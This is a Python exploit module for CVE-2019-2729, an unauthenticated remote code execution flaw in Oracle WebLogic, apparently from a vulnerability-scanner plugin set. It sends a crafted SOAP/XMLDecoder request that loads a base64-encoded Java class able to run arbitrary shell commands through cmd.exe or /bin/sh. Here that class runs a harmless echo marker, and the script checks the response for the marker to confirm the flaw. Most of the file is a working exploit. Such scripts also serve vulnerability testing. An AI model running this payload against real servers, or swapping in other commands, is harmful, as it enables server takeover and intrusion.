CVE-2019-2729.py

import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''Oracle WebLogic Server Administration Console Handle RCE''',
        "description": '''Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0 and 12.2.1.3.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.''',
        "severity": "critical",
        "references": [
            ""
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "cvss-score": "",
            "cve-id": "CVE-2019-2729",
            "cwe-id": ""
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2019", "oracle", "rce", "weblogic"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        path = """/wls-wsat/CoordinatorPortType"""
        method = "POST"
        data = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><class><string>org.slf4j.ext.EventData</string><void><string><![CDATA[<java><void class="sun.misc.BASE64Decoder"><void method="decodeBuffer" id="byte_arr"><string>yv66vgAAADIAYwoAFAA8CgA9AD4KAD0APwoAQABBBwBCCgAFAEMHAEQKAAcARQgARgoABwBHBwBICgALADwKAAsASQoACwBKCABLCgATAEwHAE0IAE4HAE8HAFABAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExSZXN1bHRCYXNlRXhlYzsBAAhleGVjX2NtZAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAANmaXMBABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANpc3IBABtMamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcjsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGxpbmUBAAZyZXN1bHQBAA1TdGFja01hcFRhYmxlBwBRBwBSBwBTBwBCBwBEAQAKRXhjZXB0aW9ucwEAB2RvX2V4ZWMBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247BwBNBwBUAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAChSZXN1bHRCYXNlRXhlYy5qYXZhIGZyb20gSW5wdXRGaWxlT2JqZWN0DAAVABYHAFUMAFYAVwwAWABZBwBSDABaAFsBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAVAFwBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAVAF0BAAAMAF4AXwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABgAGEMAGIAXwEAC2NtZC5leGUgL2MgDAAcAB0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQALL2Jpbi9zaCAtYyABAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABMAFAAAAAAABAABABUAFgABABcAAAAvAAEAAQAAAAUqtwABsQAAAAIAGAAAAAYAAQAAAAMAGQAAAAwAAQAAAAUAGgAbAAAACQAcAB0AAgAXAAAA+QADAAcAAABOuAACKrYAA0wrtgAETbsABVkstwAGTrsAB1kttwAIOgQBOgUSCToGGQS2AApZOgXGABy7AAtZtwAMGQa2AA0ZBbYADbYADjoGp//fGQawAAAAAwAYAAAAJgAJAAAABgAIAAcADQAIABYACQAgAAoAIwALACcADAAyAA4ASwARABkAAABIAAcAAABOAB4AHwAAAAgARgAgACEAAQANAEEAIgAjAAIAFgA4ACQAJQADACAALgAmACcABAAjACsAKAAfAAUAJwAnACkAHwAGACoAAAAfAAL/ACcABwcAKwcALAcALQcALgcALwcAKwcAKwAAIwAwAAAABAABABEACQAxAB0AAgAXAAAAqgACAAMAAAA3EglMuwALWbcADBIPtgANKrYADbYADrgAEEynABtNuwALWbcADBIStgANKrYADbYADrgAEEwrsAABAAMAGgAdABEAAwAYAAAAGgAGAAAAFgADABkAGgAeAB0AGwAeAB0ANQAfABkAAAAgAAMAHgAXADIAMwACAAAANwAeAB8AAAADADQAKQAfAAEAKgAAABMAAv8AHQACBwArBwArAAEHADQXADAAAAAEAAEANQAJADYANwACABcAAAArAAAAAQAAAAGxAAAAAgAYAAAABgABAAAANgAZAAAADAABAAAAAQA4ADkAAAAwAAAABAABADUAAQA6AAAAAgA7</string></void></void><void class="org.mozilla.classfile.DefiningClassLoader"><void method="defineClass"><string>ResultBaseExec</string><object idref="byte_arr"></object><void method="newInstance"><void method="do_exec" id="result"><string>echo${IFS}COP-9272-9102-EVC|rev</string></void></void></void></void><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork" id="current_work"><void method="getClass"><void method="getDeclaredField"><string>connectionHandler</string><void method="setAccessible"><boolean>true</boolean></void><void method="get"><object idref="current_work"></object><void method="getServletRequest"><void method="getResponse"><void method="getServletOutputStream"><void method="writeStream"><object class="weblogic.xml.util.StringInputStream"><object idref="result"></object></object></void><void method="flush"/></void><void method="getWriter"><void method="write"><string></string></void></void></void></void></void></void></void></void></void></java>]]></string></void></class></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>"""
        headers = {'Content-Type': 'text/xml'}
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if ("""CVE-2019-2729-POC""" in resp0.text) and (resp0.status_code == 200):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url